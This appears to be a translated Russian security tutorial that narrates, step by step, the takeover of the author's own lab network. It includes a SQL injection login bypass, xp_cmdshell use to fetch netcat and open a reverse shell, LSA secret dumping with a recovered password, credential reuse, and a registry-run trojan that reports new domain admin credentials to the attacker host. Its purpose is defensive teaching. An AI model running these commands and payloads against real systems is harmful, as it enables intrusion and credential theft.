Как злоумышленник может проникнуть в вашу сеть

Одна из главных тайн, связанных с управлением безопасностью, - методы, используемые криминальными хакерами. Разве можно защититься от атак, если вы не знаете, как они осуществляются? Готовьтесь к просветлению.

В этой статье я не собираюсь учить, как взломать защиту, а хочу показать, как злоумышленники могут воспользоваться вашими оплошностями. Благодаря этому вы избежите многих распространенных ошибок, облегчающих задачу криминальным хакерам.

Для начала пара слов о тестировании на возможность проникновения в систему (penetration testing). Прежде всего, неграмотное проведение этого тестирования может негативно сказаться на стабильности сети. Некоторые инструменты, применяемые хакерами (с любой целью, не только со злым умыслом), разработаны для проверки сети на предмет уязвимости.

Инструменты хакеров и программы, использующие дыры в защите систем, не всегда работают корректно, могут дестабилизировать систему или всю сеть и привести к другим непредвиденным последствиям. Специалист знает, что можно сделать с сетью, не нарушив ее работу, и когда следует остановиться. Любитель обычно этого не чувствует.

При защите сети полезно быть слегка параноиком. Одной из грубейших ошибок, которые может допустить системный администратор, является предположение, что все в порядке. Не доверяйте заявлениям о том, будто сеть надежно защищена.

Очень часто вы будете получать от консультантов по безопасности отчеты, содержащие именно такой вывод, и то лишь потому, что им не удалось обнаружить уязвимости. Разумеется, из этого не следует, что сеть на самом деле защищена! Это лишь означает, что конкретным людям не удалось взломать сеть, но кто-то другой может оказаться более удачливым.

Большинство современных сетей создано по принципу яйца: окруженные надежной оболочкой, они практически беззащитны внутри. Это означает, что, если хакер сможет получить в сети "точку опоры", остальные компьютеры падут, как костяшки домино.

После проникновения в сеть самой сложной задачей хакера часто является определение следующей мишени и хранилища по-настоящему вкусной информации. Так быть не должно. Опираясь на адекватные методики, сетевые администраторы могут достигнуть двух важнейших целей: значительно затруднить захват точки опоры и ее использование для взлома других компьютеров.

Прежде чем я начну атаковать сеть, давайте поговорим о том, с чем мне придется столкнуться. Ясно, что в реальных условиях у хакеров редко бывают в распоряжении полные схемы сетей, но в нашем случае рассмотреть конфигурацию сети-мишени лишним не будет (рис. 1).

Рис. 1. Сеть-мишень:

Как показано на иллюстрации, моя сеть-мишень представляет собой стандартную подсеть с двумя межсетевыми экранами, отделяющими ее от Интернета и остальной сети. По периметру сеть сконфигурирована обычным образом: она включает Web-сервер, сервер баз данных и контроллер домена (DC) демилитаризованной зоны (DMZ). Во внутренней части имеется корпоративный контроллер домена, получение контроля над которым и является конечной целью хакера.

Единственный необычный аспект этой сети, пожалуй, в том, что Web-сервер и контроллер домена DMZ выполняют функции маршрутизаторов. Это объясняется особенностями модели сети. Я создал ее на основе виртуальных машин, выполняемых в среде Microsoft Virtual PC 2004, чтобы эту модель можно было брать с собой для проведения демонстраций.

На одном компьютере реалистично запускать лишь две виртуальные машины, т. е. для "развертывания" всей сети нужно вдвое меньше хостов. Если бы я использовал отдельные маршрутизаторы, мне пришлось бы брать с собой три ноутбука, а делать это мне бы не хотелось. Таким образом, я возложил на Web-сервер и контроллер домена DMZ функции маршрутизаторов, чтобы уменьшить число необходимых компьютеров (хостов). Уверяю вас, что эта несколько необычная конфигурация никак не влияет на то, что мы будем здесь обсуждать.

На первом этапе взлома любой сети нужно определить объект атаки - точку опоры в сети-мишени. При этом злоумышленников, в частности, интересуют:

• диапазоны сетевых адресов
• имена хостов
• доступные хосты
• приложения, доступные на этих хостах
• данные о версиях ОС и приложений
• сведения о пакетах исправлений, установленных на хостах
• структура приложений и внутренних серверов

Давайте же обсудим, какую информацию хакер может получить и как он может это сделать.

Следующий этап взлома - определение логического расположения атакуемых сетей. Допустим, я хочу выполнить тестирование на возможность проникновения в системы домена contoso.com. Я начал бы пытаться взломать их с определения того, какие сети зарегистрированы в этом домене.

Возможно, еще больший интерес представляют, не открыто зарегистрированные диапазоны адресов contoso.com, а данные о сетях, связанных с сетью-мишенью, например об экстра-сети или сетях деловых партнеров компании Contoso. Вполне вероятно, что легче будет взять под контроль домен poorsecurity.com и только потом атаковать contoso.com.

Как прочность цепи определяется прочностью ее самого слабого звена, так и надежность защиты сети определяется связанной с ней сетью с самой слабой защитой (включая все подключенные к ней виртуальные частные сети).

Далее хакер должен узнать имена хостов. Иногда это удается сделать, выполнив запросы nslookup для крупных фрагментов сети, а в ряде случаев даже осуществить так называемую зонную передачу. Зонная передача (zone transfer) - это просто запрос, в результате которого DNS-сервер возвращает копию данных обо всей демилитаризованной зоне (список имен всех зарегистрированных в сети хостов).

Хотя при большинстве атак знать имена хостов необязательно, это может значительно упростить атаку. Так, если вам известно имя сервера, на котором выполняется IIS, вы часто можете вычислить анонимную учетную запись IIS на этом хосте, так как обычно она называется IUSR_имя_хоста. Теперь предположим, что администратор настроил для Web-сервера блокировку учетных записей (account lockout).

Для вывода Web-сервера из строя хакеру нужно лишь отправить ему большое число запросов на аутентификацию под учетной записью IUSR_имя_хоста. За считанные секунды серверу можно отправить столько неверных паролей, что этого будет достаточно для блокировки учетной записи анонимного пользователя. Продолжая отправлять достаточное число неверных паролей, хакер может добиться того, что Web-сервер не сможет обслуживать реальные запросы.

Имена хостов - полезная информация, но еще больше хакера интересуют доступные (exposed) хосты. На этом этапе атаки я пытаюсь обнаружить легкие цели. Иногда это совсем просто. Вполне возможно, что для этого даже не потребуются никакие хакерские инструменты, если на периметре сети трафик ICMP (Internet Control Message Protocol) не блокируется. В этом случае достаточно выполнить следующую команду:

c:\discoverHosts 192.168.2
192.168.2.30

Ясно, что IP-адрес нужно было бы скорректировать с учетом соответствующего диапазона адресов. Однако в этом примере я просто отправляю эхо-запрос ICMP каждому хосту конкретной сети. Если трафик ICMP не блокируется, на экран будет выведен список корректных адресов в сети.

В подавляющем большинстве случаев трафик ICMP следует перенаправлять на границе сети в /dev/null. Даже примитивные межсетевые экраны должны блокировать трафик ICMP, но администраторы на удивление часто забывают проверить, блокируется ли он на самом деле. Никакие ответы на ICMP-запросы отправлять не следует. Это не предотвратит перечисление хостов, но значительно затруднит такую операцию, поскольку хакеру придется использовать специальные инструменты вроде сканера портов.

Сканер портов - это программа, которая пытается соединиться с портами целевого хоста и сообщает, удалось ли ей это. Если да, значит, хост прослушивает соответствующий порт. Если соединение установить не удалось, обычно это означает, что конкретный порт закрыт.

Самым популярным типом сканирования портов является сканирование с флагом SYN - при этом хакер пытается установить обычное соединение с целевым хостом. Если хост прослушивает данный порт, соединение будет установлено и сканер портов уведомит хакера о том, что порт открыт. На сканирование портов даже всех хостов в сети требуется совсем немного времени. Сканируя грамотно выбранные диапазоны портов, вы можете получить огромный объем информации о том, что именно доступно в конкретной сети.

Сканирование портов позволяет узнать, какие выполняемые на хосте приложения доступны другим системам, что указывает возможные направления атаки. В число приложений, которые обычно интересуют хакеров, входят FTP-клиенты и серверы, Telnet, почтовые серверы и Web-серверы HTTP.

Информация о версиях приложений, выполняемых на целевом компьютере, очень полезна, если вам удастся ее получить. Например, многие приложения отправляют подключающимся к ним хостам тот или иной заголовок. Так сконфигурировано большинство SMTP- и POP-серверов, а также многие Web-серверы. Однако в нашем случае сеть-мишень включает компьютеры, работающие под управлением Windows Server 2003 и выполняющие IIS 6.0, а IIS 6.0 не отправляет заголовки с какой-либо полезной для хакера информацией.

Кроме того, хакера очень интересует, какие пакеты исправления установлены на доступные серверы. Эту информацию можно получить разными способами. Иногда все, что нужно знать, находится в заголовках, отправляемых приложениями. Так, заголовки sendmail обычно включают номер версии демона.

Если вам известно, в каких версиях sendmail все еще не устранена та или иная брешь, больше ничего знать и не нужно. В других случаях вы можете узнать, установлено ли в системе конкретное исправление, по ее ответам на запросы. По сути, именно на этом основана работа хороших сканеров брешей в защите систем и инструментов определения операционных систем.

Наконец, вы всегда можете запустить программу, использующую конкретную дыру в защите систем, и посмотреть, что получится. Многие сканеры брешей в защите так и делают перед атаками типа отказ в обслуживании. Если после атаки система реагирует на запросы, скорее всего она надежно защищена от таких атак.
Структура приложений и внутренних серверов

Очень полезной часто оказывается информация о структуре приложений и внутренних серверов, если таковые имеются. Как правило, получить ее очень сложно, но иногда удача улыбается хакерам. Например, в сети-мишени выполняется некое Web-приложение с очень специфическими именами файлов и дизайном страниц. Если это так, хакеру сразу же станет ясно, что это за приложение.

Если злоумышленник знаком с приложением, ему могут быть известны и способы его взлома. Так, в приложении может использоваться конфигурационный файл %webroot%\system.config. Если Web-сервер не блокирует доступ к файлам с расширением .config, хакер может просто запросить этот файл в браузере. В худшем для хакера случае он узнает только имена внутренних серверов, баз данных или что-то подобное, в лучшем - имя пользователя и пароль для установления соединения между Web-сервером и сервером базы данных.

Не думайте, будто я преувеличиваю. Именно с такой ситуацией я столкнулся несколько месяцев назад, пытаясь хоть как-то сделать сеть одного из клиентов более защищенной. Очень многие коммерческие Web-приложения написаны на редкость плохо, что, по сути, делает их потайными ходами (backdoors) в сеть.

Теперь у меня есть практически вся информация, нужная для начала атаки. Первым делом я должен захватить в сети начальную точку опоры - так сказать, проколоть яичную скорлупу.

Допустим, первоначальный анализ сети-мишени показал, что на входящие в нее системы установлены все исправления и что ее защищает по-настоящему надежный межсетевой экран, блокирующий все порты, кроме 80 и 443 (порты HTTP и HTTPS по умолчанию). Что делать дальше? Вспомните, что я сказал про потайные ходы. Где их можно обнаружить? С чем я имею дело?

Прежде всего, следует изучить то, что доступно, т. е. Web-приложение. Главная страница Web-сервера показана на рис. 2. По ней одной можно сказать, что сайт предназначен для заказа какой-то продукции. Давайте воспользуемся обычной учетной записью, чтобы получить больше информации о системе.

Рис. 2. Главная страница сайта contoso.com:

На следующей странице выводится информация о книжном магазине Pubs и список продаваемых книг. Кроме того, на ней показывается введенное мной имя пользователя. Это может оказаться мне на руку, если администраторы сайта были невнимательны, потому что я смогу попробовать ряд других методик.

Например, у меня есть подозрение, что на этом сайте реализован плохой алгоритм проверки имен пользователей и паролей (смелое заявление, если учесть, что я сам написал этот алгоритм!). Меня также интересует, насколько полно проверяются данные, введенные в поле имени пользователя. Чтобы узнать это, применим методику, называемую атакой с внедрением SQL-кода (SQL injection attack). Введем вместо имени пользователя следующую строку:

foo' OR 1=1;--

Это приводит к результатам, показанным на рис. 3.

Рис. 3. Вставка SQL-кода (и кросс-сайтовое выполнение сценариев) в действии

Как видите, я не просто вошел в систему, но приложение еще и вывело указанное мной "имя пользователя". Это отдельная брешь, из-за которой становится возможным так называемое кросс-сайтовое выполнение сценариев (cross site scripting, XSS) - при этом введенная пользователем информация отображается на экране без предварительной обработки.

Ясно, что никакого пользователя с именем foo' OR 1=1;-- быть не может, так почему же мне удалось войти в систему? Все дело в безграмотном проектировании приложения. В нем предполагается, что если в ответ на ввод имени пользователя с конкретным паролем база данных вернула какие-либо результаты, учетные данные корректны и вход в систему следует разрешить.

Проводя атаку, основанную на внедрении SQL-кода, я переписал запрос базы данных, включив в него выражение OR 1=1. Это условие истинно, поэтому весь запрос интерпретируется как истинный для всех записей в базе данных. В результате этого возвращаются учетные данные всех пользователей, содержащиеся в базе данных, а это означает, что приложение разрешило мне войти в систему.

Теперь я могу отдавать произвольные команды серверу базы данных. Я воспользуюсь этой возможностью для атаки с расширением привилегий (elevation of privilege attack).

Как вы уже видели, сервер базы данных из Интернета напрямую не доступен, а на внешний сервер установлены все исправления, из-за чего он неуязвим перед всеми известными атаками. На этом этапе моей целью является расширение привилегий, чтобы стать внутренним пользователем (желательно высоко-привилегированным) на одной из систем сети-мишени.

Для этого я воспользуюсь внедрением SQL-кода. Опираясь на эту методику, я отправлю серверу базы данных ряд команд, чтобы он кое-что для нас сделал. Я не могу подключиться непосредственно к серверу базы данных, поэтому я просто укажу ему, чтобы он сам установил для меня соединение, только перед этим я создам во внешней сети слушатель портов.

Прежде чем я смогу отдавать команды серверу базы данных, нужно установить кое-какие программы на Web-сервер. Это важно, потому что, вообще говоря, хакерские утилиты по умолчанию в операционной системе не устанавливаются. Для этого можно использовать TFTP (Trivial File Transfer Protocol) - протокол, не требующий установления логических соединений и применяемый в основном для загрузки бездисковых рабочих станций.
Клиентское приложение TFTP устанавливается на все системы Windows по умолчанию (за исключением Windows Server 2003 с Service Pack 1 и более поздних версий), поэтому, если его никто не удалил, оно будет доступным. Так как система уязвима перед атакой с внедрением SQL-кода, я могу отдать серверу базы данных команду загрузить из сети программу netcat по протоколу TFTP.

Netcat - это сетевая утилита, похожая на telnet, но отличающаяся от нее отсутствием аутентификации и гораздо большей универсальностью. Она свободно доступна в Интернете и даже входит в состав многих дистрибутивов UNIX и Linux. Ее часто используют хакеры, поэтому оставлять ее в системе без крайней необходимости нельзя.

Этот этап атаки основан на вызове хранимой процедуры xp_cmdshell, которая устанавливается в SQL Server по умолчанию и применяется для выполнения команд ОС. (Расширенная процедура xp_cmdshell - мощное средство, доступное по умолчанию только системным администраторам. Разработчики SQL Server не рекомендуют разрешать ее выполнение другим пользователям.

Кроме того, некоторым системным администраторам эта процедура не нужна. В SQL Server 2005 она устанавливается только по требованию, что создает дополнительный уровень безопасности. Заметьте, что в сценарии, описываемом в этой статье, Web-приложение подключается к базе данных в контексте учетной записи sa, т. е. взломщик является системным администратором.)

Я воспользуюсь этой процедурой для запуска TFTP и закачки моих утилит на сервер базы данных. В большинстве сред потребность в процедуре xp_cmdshell возникает редко, поэтому ее можно заблокировать для защиты от атаки, которую я как раз сейчас и провожу.

После закачки netcat на сервер я указываю этой утилите создать сокет, после чего передаю его как stdin, stdout и stderr в вызове cmd.exe. Звучит сложно, но работает прекрасно. Результат - установление исходящего соединения, позволяющего передавать через сокет команды с помощью командной оболочки. Теперь в моем распоряжении есть командная оболочка на удаленном компьютере:

c:\>nc -l -p 12345
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>hostname
hostname
PYN-SQL

Итак, я получил первую точку опоры, сделав очередной шаг к захвату сети. Я расширил свои привилегии, став внутренним пользователем вместо удаленного анонимного. Чтобы узнать тип пользователя, я должен сначала загрузить в систему остальные утилиты. Я воспользуюсь ими для расширения локальных привилегий в случае надобности, а также для взлома остальных систем сети. Эти утилиты также можно передать, используя tftp.exe. После этого я могу проверить свои учетные данные на взломанной системе:

C:\warez>whoami
whoami
NT_AUTHORITY\SYSTEM

Ну вот, я уже и LocalSystem! То есть SQL Server выполнил процедуру xp_cmdshell в контексте LocalSystem, и я полностью взломал внутренний сервер базы данных. Можно приступать к взлому других систем.

Итак, я проткнул скорлупу яйца, и теперь моя цель - полностью завладеть сетью. Однако перед этим стоит получше изучить мишень с помощью утилиты dumpinfo (листинг 1), которая получает информацию о системе, используя для этого null-сеанс (анонимное соединение, т. е. соединение, устанавливаемое без аутентификации).

Листинг 1. Информация о локальном хосте, выведенная dumpinfo

C:\warez>dumpinfo 127.0.0.1

The Administrator is:   PYN-SQL\Administrator

Users on PYN-SQL:
RID 1000        PYN-SQL\TsInternetUser  a User
RID 1001        PYN-SQL\SQLDebugger     a User

Share           Type            Comment
IPC$            Unknown         Remote IPC
ADMIN$          Special         Remote Admin
C$              Special         Default share

Administrators:
PYN-SQL\Administrator
PYN-DMZ\_ids
PYN-DMZ\Domain Admins

Опираясь на эти данные, можно сделать вывод, что в данной системе не так уж много интересного; она очень похожа на систему по умолчанию. Перед продолжением атаки предлагаю немного осмотреться. Запустив ipconfig.exe (листинг 2), я могу узнать свой IP-адрес и конфигурацию системы. Обратите внимание, что у этого компьютера частный адрес, так что мое соединение, должно быть, осуществляется через маршрутизатор с NAT, имеющий адрес 172.17.0.1. Эта информация еще пригодится.

Листинг 2. Информация о хосте PYN-SQL, выведенная ipconfig

C:\warez>ipconfig /all

Windows 2000 IP Configuration

        Host Name . . . . . . . . . . . . : PYN-SQL
        Primary DNS Suffix  . . . . . . . : PYN-DMZ.LOCAL
        Node Type . . . . . . . . . . . . : Mixed
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No
        DNS Suffix Search List. . . . . . : PYN-DMZ.LOCAL

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Intel 21140 Based PCI Fast Ethernet Adapter
        Physical Address. . . . . . . . . : 00-03-FF-03-3E-F0
        DHCP Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 172.17.0.3
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 172.17.0.1
        DNS Servers . . . . . . . . . . . : 172.17.0.2

Теперь хакер попытался бы найти в защите дыры, которые легко использовать. Наверное, проще всего задействовать учетные записи служб сетевого доступа к общим ресурсам, если таковые службы имеются. Высокая вероятность успеха этой атаки объясняется тем, что самый легкий способ конфигурирования таких служб на множестве систем - их запуск на этих системах под одними и теми же доменными учетными записями.
В некоторых средах используются локальные учетные записи, но их учетные данные совпадают на большинстве систем. И если мы найдем какие-либо службы, выполняемые под учетными записями обычных пользователей (а не системными вроде LocalSystem, NetworkService и LocalService), то они скорее всего применяются во многих системах.

Чтобы узнать, реалистична ли эта атака, проверим, под какой учетной записью работают службы на взломанном мной сервере базы данных:

C:\warez>serviceuser \\PYN-SQL
IDS
PYN_DMZ\_ids

Как видите, мы обнаружили учетную запись домена, задействованную для выполнения службы IDS (вероятно, это служба Intrusion Detection Service). Может ли это оказаться полезным? Пожалуй, следует узнать более подробную информацию об этой учетной записи командой net (листинг 3).

Листинг 3. Перечисление локальных администраторов

C:\warez>net localgroup administrators
Alias name  administrators
Comment     Administrators have complete and
            unrestricted access to the
            computer/domain.

Members
----------------------------------------------
Administrator
PYN-DMZ\Domain Admins
PYN-SQL\Administrator
PYN-DMZ\_ids

The command completed successfully.
The _ids account is a domain account; and it is a local administrator.

Конечно, было бы лучше, если бы это была доменная учетная запись, но и полученный результат вселяет оптимизм. Чтобы понять, что можно сделать с этой учетной записью, нужно знать кое-какие детали работы Windows. Службы - это приложения, запускаемые при загрузке системы. Как и любые другие процессы в системе, службы должны выполняться под идентификацией какого-то пользователя.

При запуске службы ОС аутентифицирует учетную запись, используемую для выполнения этой службы. Для этого системе нужны имя пользователя и пароль, которые хранятся в компоненте Local Security Authority (LSA) Secrets. Подсистема LSA хранит в нем некоторую конфиденциальную информацию, такую как данные учетных записей компьютера и служб, а также шифровальные ключи.

Секреты LSA содержатся на диске в зашифрованном виде и дешифруются операционной системой при загрузке компьютера. Пока компьютер работает, они присутствуют в адресном пространстве процесса LSA в незашифрованном виде. Для получения этой информации к процессу LSA нужно подключить отладчик. Это может показаться сложным, но существуют утилиты, разработанные специально с этой целью.

Имейте в виду, что LSA работает в контексте LocalSystem, а подключить отладчик к процессу, выполняемому как LocalSystem, может не каждый - это было бы серьезной брешью в защите и противоречило бы всем моделям обеспечения безопасности. Как бы то ни было, эта возможность есть у всех пользователей, имеющих право SeDebugPrivilege, т. е. по умолчанию только у членов группы Administrators. Защита системы от этого не страдает, потому что администраторы и так могут делать что угодно, в том числе предоставить себе право SeDebugPrivilege.

Проблема возникает, когда эту привилегию получают недоверяемые пользователи. В данном случае мне незачем волноваться об этом, потому что моя командная оболочка на удаленном компьютере выполняется в контексте LocalSystem. Иными словами, я работаю в том же контексте, что и процесс LSA, а потому могу подключать к нему отладчик независимо от того, есть у меня эта привилегия или нет.

В листинге 4 показан вывод утилиты Lsadump в усеченном виде; по-настоящему интересный фрагмент находится в самом конце, где сообщаются данные учетной записи службы. Как видите, в правом столбце находится пароль учетной записи службы. Теперь мне известно имя пользователя службы (_ids) и его пароль ("idsPasswd!"); наличие точек в пароле объясняется тем, что он представлен в формате Unicode, поэтому точки следует рассматривать как null.

Листинг 4. Вывод lsadump

C:\warez>lsadump2
$MACHINE.ACC
13 FE 4C 3A 04 F8 1F 94 75 C8 9B 0B 1C 35 45 7A  ..L:....u....5Ez
52 7E 25 DF F8 17 F2 96 3A 35 81 C7              R~%.....:5..
DefaultPassword
DPAPI_SYSTEM
01 00 00 00 C8 AA F8 8C 36 C7 69 CC DD 42 CB 15  ........6.i..B..
3F 4E 07 6D 48 05 0A 4C FE 31 87 C9 F2 58 A3 AD  ?N.mH..L.1...X..
B7 AD 13 20 26 11 24 24 FF 79 AE D3              ... &;.$$.y..
...
_SC_IDS
69 00 64 00 73 00 50 00 61 00 73 00 73 00 77 00  i.d.s.P.a.s.s.w.
64 00 21 00                                      d.!.

Нам осталось выяснить, на каком компьютере нужно воспользоваться этой учетной записью. Выполнение команды ping для всех хостов подсети показывает, что в ней есть лишь два других компьютера с адресами 172.17.0.1 (шлюз) и 172.17.0.2 (DNS-сервер). Думаю, стоит узнать о них побольше. Для этого я снова воспользуюсь утилитой dumpinfo. По умолчанию в null-сеансе некоторые Windows-системы предоставляют больше информации, чем другие. Типичный результат показан в листинге 5.

Листинг 5. Информация о шлюзе, выведенная dumpinfo

C:\warez>dumpinfo 172.17.0.1

Unable to look up the local administrator
Unable to enumerate users because I could not get the Admin Sid

Share           Type            Comment
IPC$            Unknown         Remote IPC
ADMIN$          Special         Remote Admin
wwwroot$        Disk
C$              Special         Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

Информация об этой системе довольно скудна, потому что она является рядовым сервером под управлением Windows Server 2003. Учтите, что в случае автономных и рядовых серверов под управлением Windows Server 2003 null-сеанс позволяет перечислить только общие ресурсы системы, а не пользовательские учетные записи по умолчанию.

Однако, судя по выводу dumpinfo, на основном шлюзе (default gateway) работает Web-сервер; это следует из наличия общего каталога wwwroot$. Заметьте, что я получил список всех так называемых скрытых общих каталогов (с постфиксом $). Знак доллара просто уведомляет API-функции на клиентской стороне о том, что отображать этот элемент не следует, но dumpinfo это уведомление игнорирует.

Также было бы неплохо узнать, какие службы активны в этой системе, - так мы сможем определить, какие типы соединений она поддерживает. И вновь на помощь приходит сканер портов:

C:\warez>portscan 172.17.0.1
Port 172.17.0.1:80 open
Port 172.17.0.1:135 open
Port 172.17.0.1:139 open
Port 172.17.0.1:445 open
Port 172.17.0.1:3389 open

Это на самом деле мало что дает мне, но подтверждает, что я могу установить со шлюзом/Web-сервером соединения SMB (порты 139 и 445) и Terminal Services (порт 3389). Чуть позже эта информация нам очень пригодится.

Давайте пока получше ознакомимся с другой системой, информация о которой показана в листинге 6.

Листинг 6. Информация о DNS-сервере, выведенная dumpinfo

C:\warez>dumpinfo 172.17.0.2

The Administrator is:   PYN-DMZ\Administrator

Users on PYN-DMZ-DC:
RID 1000   PYN-DMZ\HelpServicesGroup  an Alias
RID 1001   PYN-DMZ\SUPPORT_388945a0   a User
RID 1002   PYN-DMZ\TelnetClients      an Alias
RID 1003   PYN-DMZ\PYN-DMZ-DC$        a User
RID 1104   PYN-DMZ\DnsAdmins          an Alias
RID 1105   PYN-DMZ\DnsUpdateProxy     a Group
RID 1106   PYN-DMZ\FAjenstat          a User
RID 1107   PYN-DMZ\AAlberts           a User
RID 1108   PYN-DMZ\HAcevedo           a User
RID 1109   PYN-DMZ\MAlexander         a User
RID 1110   PYN-DMZ\KAkers             a User
RID 1111   PYN-DMZ\TAdams             a User
RID 1112   PYN-DMZ\KAbercrombie       a User
RID 1113   PYN-DMZ\Sculp              a User
RID 1114   PYN-DMZ\SAbbas             a User
RID 1115   PYN-DMZ\MAllen             a User
RID 1116   PYN-DMZ\JAdams             a User
RID 1117   PYN-DMZ\SAlexander         a User
RID 1118   PYN-DMZ\HAbolrous          a User
RID 1119   PYN-DMZ\PAckerman          a User
RID 1120   PYN-DMZ\GAlderson          a User
RID 1121   PYN-DMZ\PYN-SQL$           a User
RID 1122   PYN-DMZ\PYN-WEB$           a User
RID 1123   PYN-DMZ\_IDS               a User

Share      Type            Comment
IPC$       Unknown         Remote IPC
NETLOGON   Disk            Logon server share
ADMIN$     Special         Remote Admin
SYSVOL     Disk            Logon server share
C$         Special         Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

Должно быть, это контроллер домена, потому что имена доменных учетных записей начинаются с PYN-DMZ, а хост имеет имя PYN-DMZ-DC. По умолчанию контроллеры домена в Windows Server 2003 конфигурируются так, чтобы обеспечить их совместимость с контроллерами домена, работающими под управлением более ранних версий Windows Server (down-level compatibility). Они предоставляют анонимным пользователям доступ ко всей информации за исключением списка администраторов. Ради полноты картины просканируем порты этой системы:

C:\warez>portscan 172.17.0.2
Port 172.17.0.2:53 open
Port 172.17.0.2:135 open
Port 172.17.0.2:139 open
Port 172.17.0.2:389 open
Port 172.17.0.2:445 open
Port 172.17.0.2:3268 open

Состояние порта 3268 свидетельствует о том, что данная система, скорее всего является сервером глобального каталога для леса. Это делает ее очень привлекательной мишенью. Любопытно, что службы Terminal Services на этом компьютере не активированы.

Я все еще не знаю, на каком компьютере используется учетная запись _ids, и попытаюсь выяснить это методом проб. Испытывать ее на контроллере домена нет смысла, так как мне известно, что на нем нет такой учетной записи. Обратим взор на Web-сервер. Перед проверкой учетной записи на Web-сервере нужно узнать его имя. Я применю утилиту GetSystemInfo:

C:\warez>GetSystemInfo 172.17.0.1
Server info on 172.17.0.1
Name:        PYN-WEB
Domain:      PYN-DMZ
Version:     5.2
Platform ID: 500
Comment:
Server Flags:
Workstation
Server
Dial-in Server

GetSystemInfo - очень простая программа, которая подключается к системе и запрашивает у нее информацию из раздела реестра HKLM\Software\Microsoft\Windows NT\CurrentVersion. Как видите, система называется PYN-WEB. Я все еще не знаю, как ее взломать, но могу попробовать следующее:

C:\warez>serviceuser \\PYN-WEB
IDS                             PYN-DMZ\_ids

Я почти добрался до нужной информации, потому что на Web-сервере также выполняется служба IDS под той же учетной записью. Теперь можно пробовать учетную запись _ids:

C:\warez>net use \\172.17.0.1\c$ /u:pyn-dmz\_ids idsPasswd!
The command completed successfully

.

Я взял под контроль Web-сервер! Моя очередная цель - захватить сам домен и использовать его как плацдарм для получения контроля над корпоративным доменом.

На данный момент я взломал сервер базы данных и Web-сервер (по сути, все, кроме контроллера домена). Но что я получил, взломав Web-сервер? Чтобы узнать это, я должен закачать на сервер свои программы и запустить на нем командную оболочку, как и в случае сервера базы данных. Теперь сделать это чуть проще, потому что мне доступно административное SMB-соединение с Web-сервером, обеспечивающее легкий доступ к нему. Например, сейчас я могу запланировать выполнение какой-либо команды или запустить в удаленном режиме ту или иную командную оболочку.

Получив в свое распоряжение локальную командную оболочку, я могу использовать все привычные инструменты. Например, я могу легко определить всех локальных администраторов. Как ясно по листингу 7, учетных записей в этой системе немного. Я вижу лишь учетные записи уже известной службы, локального администратора и администраторов домена. Вероятно, для администрирования системы используется учетная запись администратора домена.

Возможно, это позволит получить контроль над доменом при помощи троянского коня. Вообще говоря, хакер предпочел бы прямую атаку, так как она быстрее дает результат. Тем не менее, если все остальные меры не приведут к успеху, я смогу достичь цели путем пассивной атаки. Возможно, вы заметили, что я до сих пор не имел дела ни с какими диалоговыми окнами. Могу ли я использовать для продолжения атаки GUI? Конечно, но с этим связаны некоторые нюансы.

Листинг 7. Идентификация локального администратора

C:\warez>net localgroup administrators
Alias name administrators
Comment Administrators have complete and
unrestricted access to the computer/domain
Members
----------------------------------------------
Administrator
PYN_DMZ\_ids
PYN-DMZ\Domain Admins
The command completed successfully.

Если помните, у межсетевого экрана открыто только два порта: 80 и 443. Никакие программы на Web-сервере не прослушивают порт 443, поэтому я могу связать с ним свой слушатель, не нарушив работы системы и не вызвав подозрений у администраторов. Связывание служб Terminal Services с этим портом было бы очень заметным.
Службы Windows Terminal Services (использующие Remote Desktop Protocol) прослушивают порт 3389.

Сканирование портов сервера базы данных показывает, что этот порт действительно открыт:

C:\warez>portscan 172.17.0.3
Port 172.17.0.3:135 open
Port 172.17.0.3:139 open
Port 172.17.0.3:445 open
Port 172.17.0.3:1433 open
Port 172.17.0.3:3389 open

Я не могу установить прямое соединение с сервером базы данных, потому что он относится к сети с NAT и недоступен из Интернета. Тем не менее, я могу добраться до него, запустив на Web-ервере программу перенаправления трафика на другой порт, которая будет принимать трафик, поступающий Web-серверу через порт 443, и отправлять его SQL-серверу в порт 3389:

C:\warez>socketpipe 443 88 3389 172.17.0.3

Открыв этот сокет, я просто устанавливаю соединение с Web-сервером с помощью клиента Terminal Services:

mstsc /v:192.168.2.30:443

Теперь, когда я могу войти в систему под учетной записью пользователя _ids, я получаю полный доступ к GUI (который, как считают некоторые, уступает командной строке, но это не имеет значения).
Как бы то ни было, но контроллер домена еще не пал. Для захвата контроля над ним я воспользуюсь собственным троянским конем. Сначала я зарегистрирую его на Web-сервере (172.17.0.1), используя соединение Terminal Services:

c:\warez>EvilTrojan -r 172.17.0.1 -a 192.168.2.112

Троянский конь регистрирует себя в разделе реестра:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run и поэтому будет запускаться при каждом входе пользователя в систему. Если пользователь окажется администратором домена, троянский конь создаст в домене новую учетную запись пользователя и добавит ее в группу администраторов домена. Если ему это удастся, он запустит службу Messenger и отправит мне (в данном случае по адресу 192.168.2.112) административное оповещение.

Затем, чтобы скрыть следы, он удалит себя из раздела Run. Все это произойдет в то время, пока администратор будет входить в систему, и тот ничего не заметит. В итоге в системе останется единственный признак того, что случилось что-то неподобающее - файл avcheck.exe в каталоге Windows.

Конечно, можно реализовать и другие способы тайной отправки уведомлений. В реальности хакеры часто используют для этого IRC (Internet Relay Chat). Уведомлением может быть даже не вызывающая подозрений HTTP-транзакция. Теперь мне осталось только дождаться, когда в систему войдет администратор домена, и я получу столь нужное мне уведомление:

C:\>nc -l -p 80
Succeeded in adding a user.
User: attacker$
Password: "Uare0wn3d!"
Domain: PYN-DMZ
DC: PYN-DMZ-DC

Получать уведомления можно как угодно. Мой троянский конь просто открывает сокет, связанный с 80-м портом хоста хакера и отправляет уведомление в этот порт. Уведомления можно шифровать, кодировать, отправлять с применением практически любых портов и протоколов и изменять самыми разными способами. Как я уже говорил, для получения уведомлений часто используют каналы чатов IRC.

